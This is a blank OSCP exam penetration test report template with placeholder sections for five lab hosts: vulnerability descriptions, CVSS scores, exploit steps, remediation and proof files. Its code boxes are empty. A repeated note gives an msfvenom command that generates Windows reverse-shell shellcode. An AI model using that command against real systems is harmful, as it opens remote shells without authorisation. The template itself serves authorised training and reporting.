Offensive Security

Penetration Test Report for OSCP Exam

v.1.0

example@example.com

OSID: OS-XXXXX



**©**

All rights reserved to Offensive Security, 2019

No part of this publication, in whole or in part, may be reproduced, copied, transferred or any other right reserved to its copyright owner, including photocopying and all other copying, any transfer or transmission using any network or other means of communication, any broadcast for distant learning, in any form or by any means such as any information storage, transmission or retrieval system, without prior written permission from Offensive Security.

# Table of Contents

[1.0 Table of Contents 2](#_Toc22422187)

[2.0 Offensive Security Exam Penetration Test Report 8](#_Toc22422188)

[2.1 Introduction 8](#_Toc22422189)

[2.2 Objective 8](#_Toc22422190)

[2.3 Requirements 8](#_Toc22422191)

[3.0 High-Level Summary 9](#_Toc22422192)

[3.1 Recommendations 10](#_Toc22422193)

[4.0 Methodologies 10](#_Toc22422194)

[4.1 Information Gathering 10](#_Toc22422195)

[4.2 Penetration Testing 11](#_Toc22422196)

[4.2.1 System 1 (192.168.1.1) 12](#_Toc22422197)

[4.2.1.1 System Information 12](#_Toc22422198)

[4.2.1.2 Initial Vulnerability Description 12](#_Toc22422199)

[4.2.1.3 Initial Vulnerability Severity 12](#_Toc22422200)

[4.2.1.4 Initial Vulnerability Exploit Steps 13](#_Toc22422201)

[4.2.1.5 Initial Vulnerability Exploit Code 13](#_Toc22422202)

[4.2.1.6 Initial Vulnerability Remediation 14](#_Toc22422203)

[4.2.1.7 Initial Vulnerability Proof of Concept 14](#_Toc22422204)

[4.2.1.7.1 Initial Vulnerability Shell Screenshot 14](#_Toc22422205)

[4.2.1.7.2 Initial Vulnerability Local.txt Screenshot 14](#_Toc22422206)

[4.2.1.7.3 Initial Vulnerability Local.txt Content 14](#_Toc22422207)

[4.2.1.8 Privilege Escalation Vulnerability Description 15](#_Toc22422208)

[4.2.1.9 Privilege Escalation Vulnerability Severity 15](#_Toc22422209)

[4.2.1.10 Privilege Escalation Exploit Steps 16](#_Toc22422210)

[4.2.1.11 Privilege Escalation Exploit Code 16](#_Toc22422211)

[4.2.1.12 Privilege Escalation Vulnerability Remediation 17](#_Toc22422212)

[4.2.1.13 Privilege Escalation Proof of Concept 17](#_Toc22422213)

[4.2.1.13.1 Privilege Escalation Shell Screenshot 17](#_Toc22422214)

[4.2.1.13.2 Privilege Escalation Proof.txt Screenshot 17](#_Toc22422215)

[4.2.1.13.3 Privilege Escalation Proof.txt Content 17](#_Toc22422216)

[4.2.2 System 2 (192.168.1.2) 18](#_Toc22422217)

[4.2.2.1 System Information 18](#_Toc22422218)

[4.2.2.2 Initial Vulnerability Description 18](#_Toc22422219)

[4.2.2.3 Initial Vulnerability Severity 18](#_Toc22422220)

[4.2.2.4 Initial Vulnerability Exploit Steps 19](#_Toc22422221)

[4.2.2.5 Initial Vulnerability Exploit Code 19](#_Toc22422222)

[4.2.2.6 Initial Vulnerability Remediation 20](#_Toc22422223)

[4.2.2.7 Initial Vulnerability Proof of Concept 20](#_Toc22422224)

[4.2.2.7.1 Initial Vulnerability Shell Screenshot 20](#_Toc22422225)

[4.2.2.7.2 Initial Vulnerability Local.txt Screenshot 20](#_Toc22422226)

[4.2.2.7.3 Initial Vulnerability Local.txt Content 20](#_Toc22422227)

[4.2.2.8 Privilege Escalation Vulnerability Description 21](#_Toc22422228)

[4.2.2.9 Privilege Escalation Vulnerability Severity 21](#_Toc22422229)

[4.2.2.10 Privilege Escalation Exploit Steps 22](#_Toc22422230)

[4.2.2.11 Privilege Escalation Exploit Code 22](#_Toc22422231)

[4.2.2.12 Privilege Escalation Vulnerability Remediation 23](#_Toc22422232)

[4.2.2.13 Privilege Escalation Proof of Concept 23](#_Toc22422233)

[4.2.2.13.1 Privilege Escalation Shell Screenshot 23](#_Toc22422234)

[4.2.2.13.2 Privilege Escalation Proof.txt Screenshot 23](#_Toc22422235)

[4.2.2.13.3 Privilege Escalation Proof.txt Content 23](#_Toc22422236)

[4.2.3 System 3 (192.168.1.3) 24](#_Toc22422237)

[4.2.3.1 System Information 24](#_Toc22422238)

[4.2.3.2 Initial Vulnerability Description 24](#_Toc22422239)

[4.2.3.3 Initial Vulnerability Severity 24](#_Toc22422240)

[4.2.3.4 Initial Vulnerability Exploit Steps 25](#_Toc22422241)

[4.2.3.5 Initial Vulnerability Exploit Code 25](#_Toc22422242)

[4.2.3.6 Initial Vulnerability Remediation 26](#_Toc22422243)

[4.2.3.7 Initial Vulnerability Proof of Concept 26](#_Toc22422244)

[4.2.3.7.1 Initial Vulnerability Shell Screenshot 26](#_Toc22422245)

[4.2.3.7.2 Initial Vulnerability Local.txt Screenshot 26](#_Toc22422246)

[4.2.3.7.3 Initial Vulnerability Local.txt Content 26](#_Toc22422247)

[4.2.3.8 Privilege Escalation Vulnerability Description 27](#_Toc22422248)

[4.2.3.9 Privilege Escalation Vulnerability Severity 27](#_Toc22422249)

[4.2.3.10 Privilege Escalation Exploit Steps 28](#_Toc22422250)

[4.2.3.11 Privilege Escalation Exploit Code 28](#_Toc22422251)

[4.2.3.12 Privilege Escalation Vulnerability Remediation 29](#_Toc22422252)

[4.2.3.13 Privilege Escalation Proof of Concept 29](#_Toc22422253)

[4.2.3.13.1 Privilege Escalation Shell Screenshot 29](#_Toc22422254)

[4.2.3.13.2 Privilege Escalation Proof.txt Screenshot 29](#_Toc22422255)

[4.2.3.13.3 Privilege Escalation Proof.txt Content 29](#_Toc22422256)

[4.2.4 System 4 (192.168.1.4) 30](#_Toc22422257)

[4.2.4.1 System Information 30](#_Toc22422258)

[4.2.4.2 Initial Vulnerability Description 30](#_Toc22422259)

[4.2.4.3 Initial Vulnerability Severity 30](#_Toc22422260)

[4.2.4.4 Initial Vulnerability Exploit Steps 31](#_Toc22422261)

[4.2.4.5 Initial Vulnerability Exploit Code 31](#_Toc22422262)

[4.2.4.6 Initial Vulnerability Remediation 32](#_Toc22422263)

[4.2.4.7 Initial Vulnerability Proof of Concept 32](#_Toc22422264)

[4.2.4.7.1 Initial Vulnerability Shell Screenshot 32](#_Toc22422265)

[4.2.4.7.2 Initial Vulnerability Local.txt Screenshot 32](#_Toc22422266)

[4.2.4.7.3 Initial Vulnerability Local.txt Content 32](#_Toc22422267)

[4.2.4.8 Privilege Escalation Vulnerability Description 33](#_Toc22422268)

[4.2.4.9 Privilege Escalation Vulnerability Severity 33](#_Toc22422269)

[4.2.4.10 Privilege Escalation Exploit Steps 34](#_Toc22422270)

[4.2.4.11 Privilege Escalation Exploit Code 34](#_Toc22422271)

[4.2.4.12 Privilege Escalation Vulnerability Remediation 35](#_Toc22422272)

[4.2.4.13 Privilege Escalation Proof of Concept 35](#_Toc22422273)

[4.2.4.13.1 Privilege Escalation Shell Screenshot 35](#_Toc22422274)

[4.2.4.13.2 Privilege Escalation Proof.txt Screenshot 35](#_Toc22422275)

[4.2.4.13.3 Privilege Escalation Proof.txt Content 35](#_Toc22422276)

[4.2.5 System 5 (192.168.1.5) – Buffer Overflow (REMOVE THIS) 36](#_Toc22422277)

[4.2.5.1 System Information 36](#_Toc22422278)

[4.2.5.2 Initial Vulnerability Exploitation 36](#_Toc22422279)

[4.2.5.3 Initial Vulnerability Severity 36](#_Toc22422280)

[4.2.5.4 Initial Vulnerability Exploit Steps 37](#_Toc22422281)

[4.2.5.5 Initial Vulnerability Exploit Code 37](#_Toc22422282)

[4.2.5.6 Initial Vulnerability Remediation 38](#_Toc22422283)

[4.2.5.7 Initial Vulnerability Proof of Concept 38](#_Toc22422284)

[4.2.5.7.1 Initial Vulnerability Shell Screenshot 38](#_Toc22422285)

[4.2.5.7.2 Initial Vulnerability Local.txt Screenshot 38](#_Toc22422286)

[4.2.5.7.3 Initial Vulnerability Local.txt Content 38](#_Toc22422287)

[4.2.5.8 Privilege Escalation Exploitation 39](#_Toc22422288)

[4.2.5.9 Privilege Escalation Severity 39](#_Toc22422289)

[4.2.5.10 Privilege Escalation Exploit Steps 40](#_Toc22422290)

[4.2.5.11 Privilege Escalation Exploit Code 40](#_Toc22422291)

[4.2.5.12 Privilege Escalation Remediation 41](#_Toc22422292)

[4.2.5.13 Privilege Escalation Proof of Concept 41](#_Toc22422293)

[4.2.5.13.1 Privilege Escalation Shell Screenshot 41](#_Toc22422294)

[4.2.5.13.2 Privilege Escalation Proof.txt Screenshot 41](#_Toc22422295)

[4.2.5.13.3 Privilege Escalation Proof.txt Content 41](#_Toc22422296)

[4.3 Maintaining Access 42](#_Toc22422297)

[4.4 House Cleaning 42](#_Toc22422298)

[5.0 Appendix 43](#_Toc22422299)

[5.1 Appendix 1 - Proof and Local Contents 43](#_Toc22422300)

[5.2 Appendix 2 - Metasploit/Meterpreter Usage 43](#_Toc22422301)

[5.3 Appendix 3 - Completed Buffer Overflow Code 44](#_Toc22422302)

# Offensive Security Exam Penetration Test Report

## Introduction

The Offensive Security Exam penetration test report contains all efforts that were conducted in order to pass the Offensive Security exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of penetration testing methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Certified Professional.

## Objective

The objective of this assessment is to perform an internal penetration test against the Offensive Security Exam network. The student is tasked with following a methodical approach in obtaining access to the objective goals.

## Requirements

The student is expected to fill out this penetration testing report fully and to include the following sections:

* Overall High-Level Summary and Recommendations (non-technical)
* Methodology walkthrough and detailed outline of steps taken
* Each finding with included screenshots, walkthrough, sample code, local.txt, and proof.txt if applicable.
* Any additional items that were not included

# High-Level Summary

I was tasked with performing an internal penetration test towards Offensive Security Exam. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal exam systems. My overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, I was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, I had administrative level access to multiple/all systems. All systems were successfully exploited and low and/or high privileged access towards the system were successfully obtained. These systems as well as a brief description on how access was obtained are listed below:

* 192.168.1.1 (hostname) - Name of initial exploit
* 192.168.1.2 (hostname) - Name of initial exploit
* 192.168.1.3 (hostname) - Name of initial exploit
* 192.168.1.4 (hostname) - Name of initial exploit
* 192.168.1.5 (hostname) - Buffer Overflow

## Recommendations

I recommend patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date.

# Methodologies

I utilized a widely adopted approach to perform penetration testing that is effective in testing how well the Offensive Security Exam environments is secured. Below is a breakout of how I was able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

## Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, I was tasked with exploiting the exam network. The specific IP addresses were:

**Exam Network**

* 192.168.XX.XX
* 192.168.XX.XX
* 192.168.XX.XX
* 192.168.XX.XX
* 192.168.XX.XX

## Penetration Testing

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, I was able to successfully gain root or administrative/user access to X out of the X systems.

**Service Enumeration**

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed.

### System 1 (192.168.1.1)

#### System Information

**System IP:** 192.168.1.1

**Hostname:** Machine\_Name

Service Enumeration

|  |  |
| --- | --- |
| Server IP Address | Ports Open |
| 192.168.1.1 | TCP: |
| UDP: |

#### Initial Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. In addition, the Service\_2\_Name of the remote target also suffers from a Vulnerability\_2\_Namevulnerability. Vulnerability\_2\_Nameis a vulnerability that Description\_Of\_Vulnerability\_2. Therefore, a combination of these vulnerabilities/the Vulnerability\_Name was used to successfully gain a low privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Initial Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Initial Vulnerability Exploit Steps

***Exploit Steps for shell and Cleanup Steps***

#### Initial Vulnerability Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Initial Vulnerability Remediation

It is recommended to update to the latest Software\_Name version (2.8.25) for Linux which can be obtained from https://example.com/.

#### Initial Vulnerability Proof of Concept

##### Initial Vulnerability Shell Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Initial Vulnerability Local.txt Screenshot

***ipconfig/ifconfig, cat/type local.txt***

##### Initial Vulnerability Local.txt Content

The content of Local.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

#### Privilege Escalation Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. In addition, the Service\_2\_Name of the remote target also suffers from a Vulnerability\_2\_Namevulnerability. Vulnerability\_2\_Nameis a vulnerability that Description\_Of\_Vulnerability\_2. Therefore, a combination of these vulnerabilities/the Vulnerability\_Name was used to successfully gain a high privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Privilege Escalation Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Privilege Escalation Exploit Steps

***Exploit Steps for Privilege Escalation and Cleanup Steps***

#### Privilege Escalation Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Privilege Escalation Vulnerability Remediation

It is recommended to update to the latest Software\_Name version (2.8.25) for Linux which can be obtained from https://example.com/.

#### Privilege Escalation Proof of Concept

##### Privilege Escalation Shell Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Privilege Escalation Proof.txt Screenshot

***ipconfig/ifconfig, cat/type proof.txt***

##### Privilege Escalation Proof.txt Content

The content of Proof.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

### System 2 (192.168.1.2)

#### System Information

**System IP:** 192.168.1.2

**Hostname:** Machine\_Name

Service Enumeration

|  |  |
| --- | --- |
| Server IP Address | Ports Open |
| 192.168.1.2 | TCP: |
| UDP: |

#### Initial Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. In addition, the Service\_2\_Name of the remote target also suffers from a Vulnerability\_2\_Namevulnerability. Vulnerability\_2\_Nameis a vulnerability that Description\_Of\_Vulnerability\_2. Therefore, a combination of these vulnerabilities/the Vulnerability\_Name was used to successfully gain a low privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Initial Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Initial Vulnerability Exploit Steps

***Exploit Steps for shell and Cleanup Steps***

#### Initial Vulnerability Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Initial Vulnerability Remediation

It is recommended to update to the latest Software\_Name version (2.8.25) for Linux which can be obtained from https://example.com/.

#### Initial Vulnerability Proof of Concept

##### Initial Vulnerability Shell Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Initial Vulnerability Local.txt Screenshot

***ipconfig/ifconfig, cat/type local.txt***

##### Initial Vulnerability Local.txt Content

The content of Local.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

#### Privilege Escalation Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. In addition, the Service\_2\_Name of the remote target also suffers from a Vulnerability\_2\_Namevulnerability. Vulnerability\_2\_Nameis a vulnerability that Description\_Of\_Vulnerability\_2. Therefore, a combination of these vulnerabilities/the Vulnerability\_Name was used to successfully gain a high privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Privilege Escalation Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Privilege Escalation Exploit Steps

***Exploit Steps for Privilege Escalation and Cleanup Steps***

#### Privilege Escalation Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Privilege Escalation Vulnerability Remediation

It is recommended to update to the latest Software\_Name version (2.8.25) for Linux which can be obtained from https://example.com/.

#### Privilege Escalation Proof of Concept

##### Privilege Escalation Shell Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Privilege Escalation Proof.txt Screenshot

***ipconfig/ifconfig, cat/type proof.txt***

##### Privilege Escalation Proof.txt Content

The content of Proof.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

### System 3 (192.168.1.3)

#### System Information

**System IP:** 192.168.1.3

**Hostname:** Machine\_Name

Service Enumeration

|  |  |
| --- | --- |
| Server IP Address | Ports Open |
| 192.168.1.3 | TCP: |
| UDP: |

#### Initial Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. In addition, the Service\_2\_Name of the remote target also suffers from a Vulnerability\_2\_Namevulnerability. Vulnerability\_2\_Nameis a vulnerability that Description\_Of\_Vulnerability\_2. Therefore, a combination of these vulnerabilities/the Vulnerability\_Name was used to successfully gain a low privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Initial Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Initial Vulnerability Exploit Steps

***Exploit Steps for shell and Cleanup Steps***

#### Initial Vulnerability Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Initial Vulnerability Remediation

It is recommended to update to the latest Software\_Name version (2.8.25) for Linux which can be obtained from https://example.com/.

#### Initial Vulnerability Proof of Concept

##### Initial Vulnerability Shell Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Initial Vulnerability Local.txt Screenshot

***ipconfig/ifconfig, cat/type local.txt***

##### Initial Vulnerability Local.txt Content

The content of Local.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

#### Privilege Escalation Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. In addition, the Service\_2\_Name of the remote target also suffers from a Vulnerability\_2\_Namevulnerability. Vulnerability\_2\_Nameis a vulnerability that Description\_Of\_Vulnerability\_2. Therefore, a combination of these vulnerabilities/the Vulnerability\_Name was used to successfully gain a high privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Privilege Escalation Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Privilege Escalation Exploit Steps

***Exploit Steps for Privilege Escalation and Cleanup Steps***

#### Privilege Escalation Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Privilege Escalation Vulnerability Remediation

It is recommended to update to the latest Software\_Name version (2.8.25) for Linux which can be obtained from https://example.com/.

#### Privilege Escalation Proof of Concept

##### Privilege Escalation Shell Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Privilege Escalation Proof.txt Screenshot

***ipconfig/ifconfig, cat/type proof.txt***

##### Privilege Escalation Proof.txt Content

The content of Proof.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

### System 4 (192.168.1.4)

#### System Information

**System IP:** 192.168.1.4

**Hostname:** Machine\_Name

Service Enumeration

|  |  |
| --- | --- |
| Server IP Address | Ports Open |
| 192.168.1.4 | TCP: |
| UDP: |

#### Initial Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. In addition, the Service\_2\_Name of the remote target also suffers from a Vulnerability\_2\_Namevulnerability. Vulnerability\_2\_Nameis a vulnerability that Description\_Of\_Vulnerability\_2. Therefore, a combination of these vulnerabilities/the Vulnerability\_Name was used to successfully gain a low privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Initial Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Initial Vulnerability Exploit Steps

***Exploit Steps for shell and Cleanup Steps***

#### Initial Vulnerability Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Initial Vulnerability Remediation

It is recommended to update to the latest Software\_Name version (2.8.25) for Linux which can be obtained from https://example.com/.

#### Initial Vulnerability Proof of Concept

##### Initial Vulnerability Shell Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Initial Vulnerability Local.txt Screenshot

***ipconfig/ifconfig, cat/type local.txt***

##### Initial Vulnerability Local.txt Content

The content of Local.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

#### Privilege Escalation Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. In addition, the Service\_2\_Name of the remote target also suffers from a Vulnerability\_2\_Namevulnerability. Vulnerability\_2\_Nameis a vulnerability that Description\_Of\_Vulnerability\_2. Therefore, a combination of these vulnerabilities/the Vulnerability\_Name was used to successfully gain a high privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Privilege Escalation Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Privilege Escalation Exploit Steps

***Exploit Steps for Privilege Escalation and Cleanup Steps***

#### Privilege Escalation Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Privilege Escalation Vulnerability Remediation

It is recommended to update to the latest Software\_Name version (2.8.25) for Linux which can be obtained from https://example.com/.

#### Privilege Escalation Proof of Concept

##### Privilege Escalation Shell Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Privilege Escalation Proof.txt Screenshot

***ipconfig/ifconfig, cat/type proof.txt***

##### Privilege Escalation Proof.txt Content

The content of Proof.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

### System 5 (192.168.1.5) – [Buffer Overflow REMOVE THIS]

#### System Information

**System IP:** 192.168.1.5

Service Enumeration

|  |  |
| --- | --- |
| Server IP Address | Ports Open |
| 192.168.1.5 | TCP: |
| UDP: |

#### Initial Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. In addition, the Service\_2\_Name of the remote target also suffers from a Vulnerability\_2\_Namevulnerability. Vulnerability\_2\_Nameis a vulnerability that Description\_Of\_Vulnerability\_2. Therefore, a combination of these vulnerabilities/the Vulnerability\_Name was used to successfully gain a low privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Initial Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Initial Vulnerability Exploit Steps

***Exploit Steps for shell and Cleanup Steps***

#### Initial Vulnerability Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Refer to Appendix 3 for the complete Windows Buffer Overflow code

#### Initial Vulnerability Remediation

It is recommended to update to the latest Software\_Name version (2.8.25) for Linux which can be obtained from https://example.com/.

#### Initial Vulnerability Proof of Concept

##### Initial Vulnerability Shell Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Initial Vulnerability Local.txt Screenshot

***ipconfig/ifconfig, cat/type local.txt***

##### Initial Vulnerability Local.txt Content

The content of Local.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

#### Privilege Escalation Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. In addition, the Service\_2\_Name of the remote target also suffers from a Vulnerability\_2\_Namevulnerability. Vulnerability\_2\_Nameis a vulnerability that Description\_Of\_Vulnerability\_2. Therefore, a combination of these vulnerabilities/the Vulnerability\_Name was used to successfully gain a low privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Privilege Escalation Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Privilege Escalation Exploit Steps

***Exploit Steps for Privilege Escalation and Cleanup Steps***

#### Privilege Escalation Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted in red.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Privilege Escalation Vulnerability Remediation

It is recommended to update to the latest Software\_Name version (2.8.25) for Linux which can be obtained from https://example.com/.

#### Privilege Escalation Proof of Concept

##### Privilege Escalation Shell Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Privilege Escalation Proof.txt Screenshot

***ipconfig/ifconfig, cat/type proof.txt***

##### Privilege Escalation Proof.txt Content

The content of Proof.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

## Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit.

## House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organization's computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After collecting trophies from the exam network was completed, the student removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system.

# Appendix

## Appendix 1 - Proof and Local Contents

|  |  |  |
| --- | --- | --- |
| **IP (Hostname)** | **Local.txt Contents** | **Proof.txt Contents** |
| 192.168.XX.XX |  |  |
| 192.168.1.2 |  |  |
| 192.168.1.3 |  |  |
| 192.168.1.4 |  |  |
| 192.168.1.5 |  |  |

## Appendix 2 - Metasploit/Meterpreter Usage

For the exam, I used my Metasploit/Meterpreter allowance on the following machine:

192.168.XX.XX

## Appendix 3 - Completed Buffer Overflow Code

**Filename:**

|  |
| --- |
|  |